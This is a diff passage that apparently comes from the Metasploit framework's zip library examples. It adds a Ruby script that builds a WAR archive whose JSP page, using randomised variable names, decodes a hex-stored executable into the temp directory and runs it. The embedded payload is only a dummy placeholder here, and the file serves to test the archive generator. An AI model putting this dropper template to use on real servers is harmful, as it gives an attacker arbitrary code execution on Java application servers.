+ zip.add_file("elite.txt", "A" * 1024, nil, %Q<
19
+ +---------------+
20
+ | file comment! |
21
+ +---------------+
22
+ >)
23
+ zip.set_comment(%Q<
24
+
25
+ +------------------------------------------+
26
+ | |
27
+ | Hello! This is the Zip Archive comment! |
28
+ | |
29
+ +------------------------------------------+
30
+
31
+ >)
32
+ zip.save_to("lolz.zip")
@@ -0,0 +1,138 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ #
4
+ # Create a WAR archive!
5
+ #
6
+
7
+ msfbase = __FILE__
8
+ while File.symlink?(msfbase)
9
+ msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
10
+ end
11
+ inc = File.dirname(msfbase) + '/../../..'
12
+ $:.unshift(inc)
13
+
14
+
15
+ require 'rex/zip'
16
+
17
+
18
+ def rand_text_alpha(len)
19
+ buff = ""
20
+
21
+ foo = []
22
+ foo += ('A' .. 'Z').to_a
23
+ foo += ('a' .. 'z').to_a
24
+
25
+ # Generate a buffer from the remaining bytes
26
+ if foo.length >= 256
27
+ len.times { buff << Kernel.rand(256) }
28
+ else
29
+ len.times { buff << foo[ rand(foo.length) ] }
30
+ end
31
+
32
+ return buff
33
+ end
34
+
35
+
36
+ exe = "exe " * 1024
37
+ var_payload = "var_payload"
38
+ var_name = "var_name"
39
+
40
+
41
+ zip = Rex::Zip::Archive.new
42
+
43
+ # begin meta-inf/
44
+ minf = [ 0xcafe, 0x0003 ].pack('Vv')
45
+ zip.add_file('META-INF/', nil, minf)
46
+ # end meta-inf/
47
+
48
+ # begin meta-inf/manifest.mf
49
+ mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
50
+ zip.add_file('META-INF/MANIFEST.MF', mfraw)
51
+ # end meta-inf/manifest.mf
52
+
53
+ # begin web-inf/
54
+ zip.add_file('WEB-INF/', '')
55
+ # end web-inf/
56
+
57
+ # begin web-inf/web.xml
58
+ webxmlraw = %q{<?xml version="1.0" ?>
59
+ <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
60
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
61
+ xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
62
+ http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
63
+ version="2.4">
64
+ <servlet>
65
+ <servlet-name>NAME</servlet-name>
66
+ <jsp-file>/PAYLOAD.jsp</jsp-file>
67
+ </servlet>
68
+ </web-app>
69
+ }
70
+
71
+ webxmlraw.gsub!(/NAME/, var_name)
72
+ webxmlraw.gsub!(/PAYLOAD/, var_payload)
73
+
74
+ zip.add_file('WEB-INF/web.xml', webxmlraw)
75
+ # end web-inf/web.xml
76
+
77
+ # begin <payload>.jsp
78
+ var_hexpath = rand_text_alpha(rand(8)+8)
79
+ var_exepath = rand_text_alpha(rand(8)+8)
80
+ var_data = rand_text_alpha(rand(8)+8)
81
+ var_inputstream = rand_text_alpha(rand(8)+8)
82
+ var_outputstream = rand_text_alpha(rand(8)+8)
83
+ var_numbytes = rand_text_alpha(rand(8)+8)
84
+ var_bytearray = rand_text_alpha(rand(8)+8)
85
+ var_bytes = rand_text_alpha(rand(8)+8)
86
+ var_counter = rand_text_alpha(rand(8)+8)
87
+ var_char1 = rand_text_alpha(rand(8)+8)
88
+ var_char2 = rand_text_alpha(rand(8)+8)
89
+ var_comb = rand_text_alpha(rand(8)+8)
90
+ var_exe = rand_text_alpha(rand(8)+8)
91
+ var_hexfile = rand_text_alpha(rand(8)+8)
92
+ var_proc = rand_text_alpha(rand(8)+8)
93
+
94
+ jspraw = "<%@ page import=\"java.io.*\" %>\n"
95
+ jspraw << "<%\n"
96
+ jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
97
+ jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
98
+ jspraw << "String #{var_data} = \"\";\n"
99
+
100
+ jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
101
+ jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
102
+ jspraw << "}\n"
103
+
104
+ jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
105
+ jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
106
+
107
+ jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
108
+ jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
109
+ jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
110
+ jspraw << "#{var_inputstream}.close();\n"
111
+
112
+ jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
113
+ jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
114
+ jspraw << "{\n"
115
+ jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
116
+ jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
117
+ jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
118
+ jspraw << "#{var_comb} <<= 4;\n"
119
+ jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
120
+ jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
121
+ jspraw << "}\n"
122
+
123
+ jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
124
+ jspraw << "#{var_outputstream}.close();\n"
125
+
126
+ jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
127
+ jspraw << "%>\n"
128
+
129
+ zip.add_file("#{var_payload}.jsp", jspraw)
130
+ # end <payload>.jsp
131
+
132
+ # begin <payload>.txt
133
+ payloadraw = exe.unpack('H*')[0]
134
+ zip.add_file("#{var_hexfile}.txt", payloadraw)
135
+ # end <payload>.txt
136
+
137
+
138
+ zip.save_to("test.war")